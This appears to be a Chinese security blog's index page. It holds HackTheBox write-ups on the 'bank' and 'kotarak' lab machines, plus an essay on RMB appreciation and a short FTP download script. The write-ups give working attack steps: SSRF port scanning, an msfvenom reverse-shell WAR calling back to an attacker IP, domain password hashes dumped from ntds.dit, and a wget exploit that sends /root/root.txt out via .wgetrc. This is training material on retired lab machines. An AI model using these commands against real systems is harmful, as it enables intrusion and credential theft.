InfoSec Learning


  • 首页

  • 归档

  • 标签

  • 搜索

如何休息——精力管理

发表于 2019-07-05 | 分类于 View

参考资料:《精力管理:管理精力,而非时间–互联网+时代顺势腾飞的关键》

阅读全文 »

openssl加解密

发表于 2019-06-27 | 分类于 tools

当我们拿到一个des对称加密的密文后,可以用openssl这个软件包进行解密。里面集成了很多密码学的加密方式。 ``` 6XaMMbM7

阅读全文 »

人民币升值带来的经济问题

发表于 2019-06-10 | 分类于 View

本文转载自:https://imain.iteye.com/blog/263543

人民币升值带来的经济问题

前言:历史上最初的货币-黄金

近期来美国和日本压人民币升值的话题,成为了热点。美国和日本指责中国政府干预外汇自由,要求中国实行浮动汇率,放开资本管制。而中国则坚定或者委婉地予以拒绝。

要说清楚这个问题,得首先从黄金谈起。大家知道,人类最初的货币是黄金和白银。黄金和白银由于不易变质,产量又不是很多,易于切割,成为了所有国家都接受的财富符号。

当时欧洲殖民主义者对黄金产生狂热的迷恋,他们寻找新大陆的重要目的就是寻找黄金。后来的不少文献在谈到这段历史时,大都指责资本主义赤裸裸的掠夺财富,进行资本原始积累的罪恶本性。事实上,如果把当时的欧洲看作是相对孤立的整体的话,也就是说,假如掠夺来的黄金主要只在欧洲内部使用,那么这些黄金对于欧洲来说,谈不上什么原始资本积累,而只是相当于货币扩张而已。简单地说,欧洲黄金的增多,就跟今天的多印钞票一样,轻度的黄金扩张可以刺激经济,而过分的黄金扩张只会让经济发疯。    当然,黄金总量如果不增长,就跟今天的中央银行停止发行钞票一样,经济也会因为缺乏足够的货币而停滞萧条。

黄金就其质地来说,非常适合作为货币。但是它并不是具备货币的所有要求。这体现在它的供应上。黄金的供应是自然决定的,有时候多有时候少。而国家经济的发展往往需要稳定的货币供应。特别是世界经济发展到一定总量时,黄金就再也跟不上经济的增长,而成为经济的制约因素。    在货币的进化过程中,开始出现纸钞。最开始的纸钞就是借条。银庄(相当于今天的私人银行)发出纸钞,拿着纸钞的人可以在银庄的各个分庄换取银子或者黄金。由于发出去的钞票随时都可能换成黄金或者银子,所以各个银庄必须在有等量的黄金或者银子时,才敢发钞票。这就是大家常常听说的:发放钞票要以黄金外汇等储备为基础。当然,这种说法反映的是当时的现实。有些学经济的还用这句话来解释当今的货币政策,就是胡扯了。    在银庄发放钞票的过程中,发现自己可以比黄金或者银子拥有量更多的发钞票??因为钞票不可能立刻要兑换成黄金。特别是对于那些大银庄,他们的钞票因为信誉好,甚至可以直接像黄金白银那样来买东西,人们也就不在乎是不是一定要兑换成黄金白银了。这样,银庄发出的钞票远远超过了其黄金白银拥有量。

这就是信誉货币的开端。

它意味着,货币可以凭空的印刷出来。但是无论过去还是现在,这种扩张都是通过信贷完成的。因此不少经济学者坚持:即便货币可以凭空创造,但是也只能以信贷的方式进行扩张。这种说法完全没有理论依据,我可以预言,如果说货币财政政策要进行改革,那么首先将会在货币的发行方式上对传统理论的突破。    由于银庄发放钞票可以超过它实际拥有的财富,只要不发生挤兑,它就实质上是占有了这些多余的财富。这就类似于现代国家发行钞票的货币税。同时钞票由私人发行,也不利于国家对经济的宏观调控。所以在货币的演化过程中,国家开始集中发钞权。国家发行钞票,最初也是以黄金作为本位,也就是国家要拥有多少黄金才发多少钞票,钞票可以自由兑换黄金。    但是后来随着经济的发展,货币总量需求增大,黄金开始紧缺,国家不得不在黄金储量之外发行过量的钞票。此时金本位崩溃。再后来黄金成为国际间的重要支付手段,国家感觉有必要自己进行掌握,所以国家就开始终止钞票和黄金的自由兑换,而把有限的黄金用于国家控制。这样就进入彻底的信用货币时代,黄金作为一国内的支付手段退出流通领域。国家发行钞票完全根据自己的需要,并获取发行钞票的巨大利润。因为他们付出的是纸,印出的却是钱。    基于同样的原理,国际外汇市场也走在同样的演化路径上。    二战过后,各国把黄金交放到美国央行,美国按照与黄金的一定比例投放美元。各国都接受美元为世界通用的货币,这个过程相对是比较公平的。但是很快,由于世界经济的迅速发展,不要说美国的黄金储备,就是世界的黄金总产量都跟不上经济的发展,美国要满足各国把美元作为外汇储备以及世界货币的需要,不得不开始超出黄金储量来印刷美元。

在谈到这段历史时,要纠正一个错误,就是美国大量印刷美元,来解决它的外汇逆差,并不一定是因为美国经济的衰退造成的。即便美国的经济不衰退,世界经济的发展也将促使它在黄金储备以外发行美元。特别是,美国自身的经济发展越快,就越有多印美元的需求。如果美国的经济长期处于顺差,则美元就无法发到世界上去,也就成为不了世界货币。

由于美元发行的总量远远超过了美国的黄金储备,美元相对黄金就再也无法维持以前的比率,美元不得不进行贬值。此时世界掀起抛售美元,提取黄金的热潮,如果放任下去,美国央行的黄金可能被耗尽,于是美国政府宣布,停止美元与黄金的兑换,美元与黄金脱钩。这就是布雷顿森林体系的垮台。

布雷顿森林体系的垮台,不是由于哪个国家的经济衰退引起的,而是世界经济发展的必然历史趋势。 虽然布雷顿森林体系垮台,美元凭借其历史惯例和强大的经济实力,作为世界货币的地位仍然不可动摇。而且这个时候美元的霸权开始显现出来,美元开始作为美国攫取其他国家财富的重要手段而存在。

信用货币——印钱的通胀时代

形象一些说,此时美国类似世界央行。美国发行的美元已经成为信用本位的货币。它可以凭空印刷美元,用于购买它国生产的实物财富。也就是说,美国可以用白纸来换取它国的原材料、以及其它实物产品。有人会说,当美国用美元购买它国产品时,其它国家也就获得了美元,其它国家可以持美元反过来购买美国产品,因此不存在说美国霸权不霸权的问题。这个问题涉及到两个方面。一个方面与目前美元贬值的问题密切相关,这个在后面我会阐述。这里我谈它的第一方面,就是美元的货币税问题。    虽然拥有美元的国家可以向美国购买产品,从而使得与美国的交换成为等价交换,但是一方面它是各个国家的重要外汇储备手段,随着经济的增长,储备也会逐渐增多;另一方面美元作为世界货币,它必定要在世界其他各国流通,而且世界经济发展越快,在各国流通的总量也就增长越快。

因此从局部看,不断有美元流出或者流进美国,但总体上,还是以美国向外输出美元,向内输入实物财富为主。这就是大家看到为什么往往都是美国逆差的真正原因。这长期停滞在美国之外的美元,就是美国向各国收取的货币税。美国凭借货币税的特权,直接无偿掠夺别国财富。因此大家再看到美国对世界上其它国家进行援助时,应当知道它可能仅仅归还了从这些国家掠夺过来的部分财富而已。同时大家再看到美国逆差,而且美国拼命指责其他国家造成它的逆差时,千万不要轻易得出美国真的吃亏的结论,它是在贼喊捉贼。    的确,如果美国美元输出过多,这些输出的美元如果反过来购买美国的产品,无疑是美国财富的损失,其收的货币税就少了。所以,美国采取了另外一个措施:贬值。我个人相信,美元保持一定时期的稳定,然后贬值,然后再保持一定时期的稳定,然后再贬值,是美国的一项长期既定战略而不是什么突发危机使然。

当其他国家都储存太多的美元储备后,例如中国这样的国家不吃不喝勒紧裤腰带的积累了3000多亿美元的外汇储备,美国就开始考虑贬值了。美国贬值货币主要通过降低利率,扩张财政支出,以及央行干预来完成。通过这些措施,使得美元供应量增大,美元贬值。美国的降低利率和扩张财政支出,对本国经济也要造成影响,譬如经济可能过热。

但是美国对于国内经济,虽然我并不能断定它是有意为之还是对经济运行还不是太熟悉,总之在它执行美元贬值手段时,严格的控制了国内的需求,也就是说通过供需失衡,使得美元利率下调,美元贬值,同时美国的经济还不过热。我已经声明,不排除是美国对经济还不熟悉的原因导致其供需失衡。但是,如果换上是我,如果对经济比较了解的话,不排除不采取某些相似手段。特别是美国刚刚完成一场战争,也给贬值造成了有利条件。    假使美元贬值10%,则中国外汇储备硬生生损失300-350亿美元。放之世界,各国又要损失多少?美国又要掠夺多少?

当然,美国虽然容许一定的逆差,但是逆差太大,给它带来的影响也是不利的。美国一方面通过贬值减少逆差,另一方面,特别是小布什执政,削弱福利,经济萎缩,失业增加,因此增加出口外贸需求就成为拉动经济的重点。美国出口产品多是附加值高的高科技产品,出口再多,对于美国的实物财富减少也影响很小。所以增加出口,并以出口获取的财富用来进口低附加值的实物财富,也是美国经济的重点。而美元贬值,降低了其出口价格,增加了出口。

以美国和中国两国而言,美元贬值,人民币升值,对于今后的进出口影响自不必说,最狠的一招还在后面。    美国和日本指责中国政府干预外汇市场。其要求主要有两个,一个是人民币要升值,一个是资本市场管制要放开,也就是说资本可以自由兑换。这两个要求足以对中国经济构成致命的杀伤力。    一种货币的贬值可以有多种手段。例如美国,是通过调节美元利率等国内经济政策手段来实现。但是这种方法运用不当的话,往往会伤人一千,自伤八百,因为这些国内经济政策不但影响外汇市场,还威胁本国国内经济。坦率的说,这也是西方经济理论本身的缺陷导致的。而中国采取的是另外一种方式,就是直接通过央行的买进卖出,来保证外汇市场人民币的汇率。同时中国还采取资本管制,资本并不能自由进出中国市场。因此中国可以在相对屏蔽本国经济的情况下对外汇市场进行干预。但无论如何,货币是否贬值,大多都是由政府政策决定的。无论美国也好还是日本也好,其货币的贬值都是政府干预的结果,而不是什么他们口口声声说的市场、自由。日本有官员说虽然利率由政府决定,但是汇率应当由市场决定的说法简直是搞笑,这是典型的话语霸权。都是干预手段,都导致货币贬值的后果,难道惟独你那种干预是市场经济,我这种干预就是政府干预?说句实话,目前西方通行的外汇体系本身就有很多缺陷,难道弥补这些缺陷,不跟你犯同样的错误就是政府干预?    他们的真正目的,除了上面说的以外,还在于一个更加阴险的措施。    在他们要求人民币升值之时或者之前,美国或者日本的金融投机家开始把大量资金暗地流入中国。

如果中国资本市场开放,这种流入就更加容易。资金流入中国后,兑换成人民币,等着人民币升值。

人民币升值后,这些金融大鳄就开始抛出人民币,购买美元。中国央行不可能也跟着抛出人民币购买美元,如果那样的话人民币的汇率就会下跌。

中国央行为了维持人民币汇率,必须购买人民币,抛出美元等外汇储备。本来中国的人民币之所以表面上看要升值,是因为中国经济失衡,需求不足,物价低迷,大量人民币游移于市场之外的结果,特别是近年来大量资金外逃,据统计外逃资金达3万亿之巨,并不是人民币真的就该升值了。

如果那时资本市场开放,外逃资金加上中国本土藏于地下的人民币倾巢而出,再加上金融大鳄利用金融杠杆,以一元资金调动十元的比率,来冲击人民币,可能最终有两个结果。

比较乐观的结果是中国央行外汇储备足够,最终咬牙撑住了人民币汇率,但是此时由于已经大量的抛出美元,所以外汇储备也是损失殆尽,国家经济倒退几年乃至十多年。

第二个结果更为恐怖,就是央行发现无法支撑,最终放任人民币汇率变化。

此时人民币汇率将一路下跌,人民币越下跌,人们越是抛出人民币,越抛出人民币,人民币汇率越下跌,直到最后崩溃为止。这就是东南亚金融危机的翻版。到那个时候,中国彻底萎靡不振。    这是人民币升值可能带来的最严重的后果。即便中国仍然在资本管制,但目前各种投机资本仍然通过各种途径进入中国200多亿美元就是迹象。

那么,可不可以人民币不升值,但资本放开管制呢?如张五常主张的那样?相形而言,我宁愿人民币浮动一下汇率,同时不开放资本兑换,也不愿意固定人民币汇率下开放资本市场。因为浮动汇率,游资要来冲击人民币,至少我可以通过行政手段加强管制,而开放资本市场,在目前人民币总体上看可能反而是贬值的情况下看,如果国外金融大鳄连同地下人民币狙击中国,即便人民币不升值,也可能耗去大量外汇储备,经济遭受重大损失。    从另一方面,我们又不禁要问,即便美国不耍手腕来抢夺中国手中的外汇,外汇对于中国就有什么意义吗?    长期以来,中国由于教育、社保福利等政策上的失误,以及中西部经济差距、城乡经济差距的进一步增大,致使内需严重不足。内需的不足又导致工资进一步降低,反过来又致使内需进一步下降。所以中国把经济的发展寄托于外需,希求通过外贸把产品卖出去。但是中国的产品多是低级产品,在国际市场上的竞争主要是靠廉价。而这种廉价又主要依靠中国的廉价劳动力来完成的。这是一个非常严重的问题:如果长久的压低劳动力的工资,则国内内需将没有启动的可能,中国会进一步依赖外需;而依赖外需又需要再压低劳动力的工资,以在国际市场上竞争,而压低劳动力工资又将继续压抑内需。    现在抽出身来回看我们的国内经济,当真是一幅奇观:    **我们不断的生产大量产品源源不断的输往国外,换回大量的外币,国内人民却无法消费。换回的大量外币又被国家通过购买美国等外国的国债等方式,流回美国等国家。 **    这样,中国以纸币标志的GDP不断增加,但是用于国内消费的财富却不见增长甚至可能下降。    又由于内需不振,外需就占了总需求的相当比重,所以人们就以为外需更加重要,进一步不惜抑制内需来扩张外需,于是国家经济进一步走向歧形。其表现形式是外汇出现大量顺差,国内需求萎靡不振。    夫一国之经济,根本应依赖于物质财富的消费,此种消费乃是下一轮物质财富再生产的源泉,岂能守着几张花花绿绿的废纸来富强邦国。美国常年保持外汇逆差,却成为了经济超级大国,非常重要的一点便在此。中国外贸所得外汇,不用于购买国外相应物质财富以供国内发展,别说4千亿美元储备,就算有4万亿美元又与废纸何异?可叹了枉自紧缩了国内需求,却是与他人作嫁衣裳。    外贸之输赢,不在你逆差还是顺差,而在你产品的附加值是否高。倘若产品的附加值低,你顺差越多,国力便越是衰退。不过此经济分析,不是此文内容,放作以后分析。    目前中国央行正竭力抑制人民币升值,其采取的干预方式乃是标准的西方宏观货币政策,即买进美元,抛出人民币。为防止抛出人民币导致通货膨胀,另一方面又紧缩银根,削弱正常途径的货币投放数量,以求达到一国货币总量的稳定。这种方法非常危险,因为虽然好象总量上货币稳定,但是加强了经济的不均衡,正常的商业运作被紧缩性的货币政策限制,抛出的人民币却大量的游移于市场之外。结果中国的经济将处于这样一个两难境地:经济继续紧缩,需求继续疲惫,而大量人民币成为地上悬河,随时可能崩溃。因此正常经济一旦稍有起色,央行就不得不担惊受怕,怕这悬河垮了,造成通货膨胀,所以收紧钱口袋。而收紧钱口袋,经济便没有起色。所以两派经济学家吵架,一派说中国经济要通货膨胀,一派说中国还在通货紧缩,都有道理又都没有道理。关键怕的就是这道悬河,是悬在头顶上的一柄剑。如果没有这道悬河,中国经济究竟是紧缩还是膨胀,局势就会明朗,争论就会少得多。    中国经济要正常运转,必须削掉这道悬河。加强对垄断利润的税收,加强打击资金外逃,实行财产登记制度,增设遗产税。加大教育投入,加大社保医疗等公共福利设施投入。切实保障工人权利,提高我国劳动力素质,不要老是以廉价劳动力为荣。把外向型经济转为内向型经济。

以上措施,可以相当于中央银行紧缩银根给投资造成的影响一样,但是却可以刺激投资的积极性和增加消费,削去悬河,因此与仅仅紧缩银根不可同日而语。对于目前的外汇储备,除了保留必要的用来稳定市场的部分外,应当用以购买战略资源或者技术,通过这种方式把美元抛出去,以绝国际社会之话柄,并同时让外汇切切实实地用来建设中国,而非像守财奴一般抱着外汇压箱底。

要是中国以后被迫抛出美元之时,是通过吸纳人民币来抛出美元,中国央行还自以为是执行外汇调控政策,则中国数十年之积累,转眼便灰飞烟灭,一场空矣。

一句话:解决外汇困境,攘外必先安内。

评价:论据不足

阅读全文 »

bank(不能再简单的文件上传+suid提权)

发表于 2019-05-31 | 分类于 ctf

10.10.10.29

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA)
|   2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA)
|   256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA)
|_  256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519)
53/tcp open  domain  ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.9.5-3ubuntu0.14-Ubuntu
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
53/udp open   domain  ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.9.5-3ubuntu0.14-Ubuntu

os: ubuntu

web

只有一个web apache默认配置页面

domain

burp抓包,将Host: 10.10.10.29,替换为Host: bank.htb 可以发现

echo 10.10.10.29 bank.htb » /etc/hosts


23

try1 - 目录扫描

1
2
3
4
gobuster -u http://bank.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
/uploads (Status: 301)
/assets (Status: 301)
/inc (Status: 301)

当访问/uploads时候,发现是403 forbidden,而不是301。 burp repeater发现是gobuster结果不准确。

访问assets,发现一些没什么用的css文件。

/inc发现

4

zone transfer

1
2
3
echo 10.10.10.29 chris.bank.htb >> /etc/hosts
echo 10.10.10.29 ns.bank.htb >> /etc/hosts
echo 10.10.10.29 www.bank.htb >> /etc/hosts

2

try2 - sql注入

admin’ or ‘1’=’1 密码随意,提示口令和数据库查询不匹配,可以联想到sql注入

burp intruder,测试用户名/密码,payload都试过,但没有报错。也许有延时注入。。谁知道呢

3

try3- 域名检查

三个域名都是apache默认配置页面

writeup

balance-transfer

5

当时没有扫描出这个目录。。给我的启示是,要等gobuster 100%扫描结束后再开始做,免得遗漏重点,却在不重要的地方反复检查,浪费时间。

1
2
Email: 1xlwRvs9vMzOmq8H3G5npUroI9iySrrTZNpQiS0OFzD20LK4rPsRJTfs3y1VZsPYffOy7PnMo0PoLzsdpU49OkCSSDOR6DPmSEUZtiMSiCg3bJgAElKsFmlxZ9p5MfrE
Password: TmEnErfX3w0fghQUCAniWIQWRf1DutioQWMvo2srytHOKxJn76G4Ow0GM2jgvCFmzrRXtkp2N6RyDAWLGCPv9PbVRvbn7RKGjBENW3PJaHiOhezYRpt0fEV797uhZfXi

发现口令,并且加密过了。检查一下长度,128位,于是搜索“md5 在线破解” 6

检查结果,检查加密方式失败。。


复制源码,grep反向搜索,找到一个长度为257的文件。 7

于是打开它,发现口令没有加密 http://bank.htb/balance-transfer/68576f20e9732f1b2edc4df5b8533230.acc

文件上传

You cant upload this this file. You can upload only images.

然而查看源码发现,.htb作为后缀可以作为php脚本被执行。

1
2
view-source:http://bank.htb/support.php
<!-- [DEBUG] I added the file extension .htb to execute as php for debugging purposes only [DEBUG] -->

1

root

1
2
3
4
5
6
7
8
9
python -c 'import pty; pty.spawn("/bin/bash")'

find / -perm -4000 2>/dev/null > examSUID.txt

file /var/htb/bin/emergency
/var/htb/bin/emergency: setuid ELF 32-bit LSB  shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=1fff1896e5f8db5be4db7b7ebab6ee176129b399, stripped


cd /var/htb/bin; ./emergency

找到suid程序,运行一下,即可获得root权限

总结

说好不玩CTF呢

下载

阅读全文 »

kotarak(从ssrf到提权-ntds-dit提取密码)

发表于 2019-05-25 | 分类于 training

本文首发于先知社区

前言

hackthebox是一个在线的渗透平台,通过渗透获取邀请码,即可在这个平台上注册一个账号。

该平台的在线靶机一共20台,每周会下线一台靶机,如果靶机下线了呢,分数就会全部清空。而成功渗透靶机就能获取一定的分数,分数够了就能提升等级。

在线的靶机都是没有writeup的,所以你的等级很大程度可以证明你的渗透实战能力。

该平台一共7个用户等级,刚注册是等级Noob:

  1. Noob 无知者
  2. script kiddle 脚本小子
  3. hacker 黑客
  4. Pro hacker 专业黑客
  5. Elite Hacker 精英黑客
  6. Guru 大师
  7. Omniscient (最高等级)无所不知者

靶机的分数为20-50分

  1. 20分-easy 简单
  2. 30分-medium 中等难度
  3. 40分-hard 困难的
  4. 50分-Insane 疯狂的

下面介绍关于过期的机器kotarak的渗透过程,难度等级为hard。

扫描

用masscan与Nmap工具分别输入以下指令:

1
2
3
4
5
masscan -p1-65535,U:1-65535 10.10.10.55 --rate=1000 -e tun0 -p1-65535,U:1-65535 > ports

ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')

nmap -Pn -sV -sC -sU -sT -p$ports 10.10.10.55

扫描结果提示,22、8080、8009以及60000端口开放。

8080web探测

首先访问http://10.10.10.55:8080,显示HTTP Status 404 - /,状态码404 not found。于是枚举目录。

dirb http://10.10.10.55:8080

1
2
3
4
5
6
7
8
9
+ http://10.10.10.55:8080/docs (CODE:**302**|SIZE:0)

+ http://10.10.10.55:8080/examples (CODE:302|SIZE:0)                         

+ http://10.10.10.55:8080/favicon.ico (CODE:200|SIZE:21630)                   

+ http://10.10.10.55:8080/host-manager (CODE:302|SIZE:0)                     

+ http://10.10.10.55:8080/manager (CODE:302|SIZE:0)

发现基本上都是302重定向。

于是访问下 http://10.10.10.55:8080/manager

发现302重定向到http://10.10.10.55:8080/manager/

并且状态码是404。但是404页面有个提示,tomcat 7重构并且有些urls已经改变。所有使用管理应用的urls现在应该使用如下选项:

/manager/html for the HTML GUI /manager/text for the text interface /manager/jmxproxy for the JMX proxy /manager/status for the status pages

我们就按照所说的访问一下。发现所给的urls都需要登陆才能访问。

再搜索下 Apache Tomcat 8.5.5。参考

tomcat是java web服务器

尝试访问:http://10.10.10.55:8080/index.jsp ,200ok。

60000端口-web探测

SSRF-服务端请求伪造

没有经验的小白先跟whale学习下。 该漏洞经常出现在服务端,一些web应用程序经常从其他server获取信息。

客户端 (去B服务器取回图片 !)——》A服务端(执行)————》B服务器(返回图片)————》A服务器(执行完毕)————》客户端(收到图片)

攻击方式:

客户端(去扫描B服务器 !)——》A服务端(执行)————》B服务器(返回数据包)————》A服务器(执行完毕)————》客户端(收到扫描结果)

服务器没有过滤客户端的请求。本来设计的功能想法是好的,但是攻击者不打算以设计者的想法来使用这个功能。

1

1
使用这个私人的web浏览器匿名在网络冲浪,请不要滥用它。
  • Trying
    1
    2
    3
    python -m SimpleHTTPServer
    ifconfig
    在本地开启服务器,查看本地ip。
    

    尝试用浏览器上的该功能访问下本地,是否成功。 输入http://本地ip:8000 浏览器跳转到一个地址http://10.10.10.55:60000/url.php?path=http://本地ip:8000 成功访问客户端本地地址。

  • Trying

然后尝试ssrf,提交file:///etc/passwd 返回try harder 尝试File FIlE ,同样的返回结果。说明目标机可能用正则表达式限制了file这个字符。

  • Trying 尝试http://localhost:60000 返60000端口上的正常页面。 因为端口扫描那一步客户端访问都是302重定向,需要登陆才能访问,于是我们通过60000端口上的“搜索”功能,绕过对客户端的限制。让服务器替我们获取想要的信息。

wfuzz

  • 这是一个web扫描软件 可以用wfuzz -h 查看使用方式 我们使用下列参数,扫描服务器开放的端口 wfuzz -c -z range,1-65535 http://10.10.10.55:60000/url.php?path=http://localhost:FUZZ

图片中,2 Ch是响应的字符串,访问后发现没有任何有价值的东西,于是我们忽略它。 wfuzz -c -z range,1-65535 --hl=2 http://10.10.10.55:60000/url.php?path=http://localhost:FUZZ 扫描后,我们得到了非2 Ch的响应结果。 看到了很多端口信息,因为客户端nmap扫描是远程访问,有 防火墙等等,所以在这里会得到更加详细的(在远程扫描不到的)端口信息。

  • trying 一个一个访问这些开放了的端口,http://10.10.10.55:60000/url.php?path=http://localhost:端口 在888端口,找到了一个备份页面backup。

  • Trying

http://10.10.10.55:60000/url.php?path=http://localhost:888/?doc=backup

7

得到了可能是tomcat配置文件中的用户名密码。

(有一个小技巧,在端口扫描那一步,得到了不能访问的文件名,可以用ssrf去访问,来获取敏感文件。)

我们用这个口令登陆端口扫描那一步获得的地址manager/html

获取shell

刚刚通过ssrf获取敏感文件,从而突破防线,接下来,我们要获取一个shell。

因为主页面上有上传功能,提示:

1
2
3
deploy directory or WAR file located on server.
war file to deploy 
select war file to upload.

暗示了我们可以上传一个war类型的反弹shell。

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.8 LPORT=1234 -f war > ippsec.war

War——web归档文件,war文件用于封装web模块。web模块可以代表一个独立的web应用程序。

  • Trying

成功上传——本地nc监听80端口nc -lnvp 1234——浏览器访问payload地址,即可获得一个shell。

  • shell中运行

python -c 'import pty;pty.spawn("/bin/bash")' 于是获得一个bash shell。

12

  • find . -name “user.txt” 2>/dev/null /home/atanas/user.txt 无读取选项

用户提权

经过之前步骤,我们获得了一个tomcat用户权限的shell,可以看到有一些文件是不允许访问的。接下来看看如何获取root权限。

cd /home/tomcat/to_archive/pentest_data

在用户家目录下,发现一个ntds.dit文件。以前没做过域渗透,(⊙﹏⊙)稍微去了解了下,ntds.dit即目录数据库,用于windows域。

文件传输

将那两个文件用nc发送到攻击机本地

1
2
3
kali:   nc -lvnp 443 > SYSTEM
shell:  nc 10.10.14.5 443 <  20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin
kali:   file

同样的方式,把另一个文件用ntds.dit作为文件名传送到本地

方法二:

发现nc传输,当文件大时,十分不方便

2

远程shell:python -m SimpleHTTPServer 7788 本地kali:

1
2
wget http://10.10.10.55:7788/20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin
wget http://10.10.10.55:7788/20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit

工具介绍

安装

简而言之,下面的工具就是用来提取目录数据库中保存的hash的。

libesedb

1
2
3
4
5
6
7
8
9
10
11
git clone https://github.com/libyal/libesedb.git
cd libesedb/

apt-get install git autoconf automake autopoint libtool pkg-config build-essential

./synclibs.sh
./autogen.sh
./configure 将源代码编译
make
make install
ldconfig

ntdsxtract

1
2
3
git clone https://github.com/csababarta/ntdsxtract
cd ntdsxtract
python setup.py build && python setup.py install

使用方法:

video:提取hash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
esedbexport -m tables ntds.dit 
该命令运行后,会生成一个文件夹,ntds.dit.export

cd ntds.dit.export;ls
可以查看生成了一些文件,注意datatable.3、link_table.5

文件绝对路径: 
1. /root/Desktop/10.10.10.55/ntds.dit.export/datatable.3
2. /root/Desktop/10.10.10.55/ntds.dit.export/link_table.5
3. 20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin
重命名为SYSTEM

dsusers.py 路径1 路径2 hashdump(生成的文件夹名称) --syshive 文件3 --passwordhashes --lmoutfile lmout.txt --ntoutfile ntout.txt --pwdformat ophc

最终的命令
dsusers.py /root/Desktop/10.10.10.55/ntds.dit.export/datatable.3 /root/Desktop/10.10.10.55/ntds.dit.export/link_table.5 hashdump --syshive SYSTEM --passwordhashes --lmoutfile lmout.txt --ntoutfile ntout.txt --pwdformat ophc

在生成的文件夹hashdump,可以找到ntout.txt

ntout.txt的内容如下
Administrator:::e64fe0f24ba2489c05e64354d74ebd11:S-1-5-21-1036816736-4081296861-1938768537-500::
krbtgt:::ca1ccefcb525db49828fbb9d68298eee:S-1-5-21-1036816736-4081296861-1938768537-502::
atanas:::2b576acbe6bcfda7294d6bd18041b8fe:S-1-5-21-1036816736-4081296861-1938768537-1108::

复制2b576acbe6bcfda7294d6bd18041b8fe,在在线密码破解网站https://crackstation.net/

用户名 密码
Administrator f16tomcat!
atanas Password123!
krbtgt 破解失败

su atanas

用atanas作为用户名,f16tomcat!作为密码,成功获得atanas用户权限

获得user flagcat ~/user.txt

root提权

kali:python -m SimpleHTTPServer 80

远程shell:

1
2
3
cd /tmp
wget http://10.10.14.5:80/LinEnum.sh
chmod a+x LinEnum.sh; ./LinEnum.sh

3

find . -name “root.txt” 2>/dev/null 未找到

4

线索app.log

app.log暗示了我们10.0.3.133的wget版本Wget/1.16

wget -V,发现主机10.10.10.55的Wget版本为 1.17.1

有一个主机10.0.3.133,每两分钟获取主机10.10.10.55的/archive.tar.gz文件。

1
2
3
4
searchsploit Wget
GNU Wget < 1.18 - Arbitrary File Upload / Remote Code Execution 

searchsploit -m exploits/linux/remote/40064.txt

查看40064.txt


信息搜集

ifconfig

1
2
eth0 inet addr:10.10.10.55
lxcbr0 inet addr:10.0.3.1

arp -a 查看本地arp缓存表。 显示局域网ip有两个,10.10.10.2 10.10.3.133 shell终端运行nmap,显示不能用。 那么用nc来扫描端口: nc -v 10.10.3.133 445 nc -v 10.10.3.133 3389 nc -v 10.10.3.133 22 只有22端口显示succeeded。 这一步骤为了确定ip133的是什么机器,显然是linux机器。

看来我们要提权10.10.3.133的root权限,来获得root.txt

wget漏洞利用

利用思路

当133主机请求10.0.3.1的archive存档文件时候,3.1会提示404不存在。

如果我们用kali开启ftp服务,并且让3.1重定向到kali-ftp,于是133主机就会取回.wgetrc作为全局初始化配置文件。

.wgetrc提示发送/root/root.txt,于是133就将本机的机密文件发送给了10.0.3.1

利用过程

kali-ip : touch exp.py touch .wgetrc

.wgetrc文件内容,保存的绝对路径为/root/.wgetrc

1
2
post_file = /root/root.txt
output_document = /etc/cron.d/wget-root-shell

wgetrc是一个全局初始启动的配置文件 post-file选项使你选择一个具体的文件发送 output_document选项,使下载的文件以你设置的文件名保存

exp.py内容 https://raw.githubusercontent.com/Teckk2/Teck_k2/master/Kotarak-wget.py 将exp修改ftp的ip为kali的,然后上传至10.10.10.55。

kali:

1
2
3
pip2 install pyftpdlib 
python -m pyftpdlib -p 21 -w
以路径/root,kali开启ftp服务器

kali上传wget.py到远程主机: python -m SimpleHTTPServer 8080

远程shell :

1
2
wget http://10.10.14.5:8080/wget.py
authbind python wget.py

5

稍等两分钟,10.10.10.55的shell就会返回执行结果,成功获得10.10.3.133的/root/root.txt文件。 6

如果将.wgetrc文件进行修改,即可获得任意10.10.3.133的文件,包括/etc/shadow。

参考资料:

从ntds-dit提取密码的三种方式

阅读全文 »

python扫描-ftp匿名登陆

发表于 2019-05-17 | 分类于 code

参考书籍:《Foundations of Python Network Programming 2nd》Page294


案例一,下载user.txt

在hackthebox中,用python代码下载位于10.10.10.152的ftp端口上的user.txt文件。

1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#ascii download
import os
from ftplib import FTP

if os.path.exists('user.txt'):
	raise IOError('refusing to overwrite your user.txt')

def writeline(data):
	fd.write(data)
	fd.write(os.linesep)

f = FTP('10.10.10.152') #远程IP
f.login()              
f.cwd('/Users/Public') #切换远程系统上的工作目录

fd = open('user.txt', 'w')
f.retrlines('RETR user.txt', writeline) #开始传输
fd.close()
f.quit()

案例二,扫描开放21端口的主机。

通过这个脚本,我们获得了40个主机的端口扫描结果。

接下来,用python自动连接开放21端口的主机。

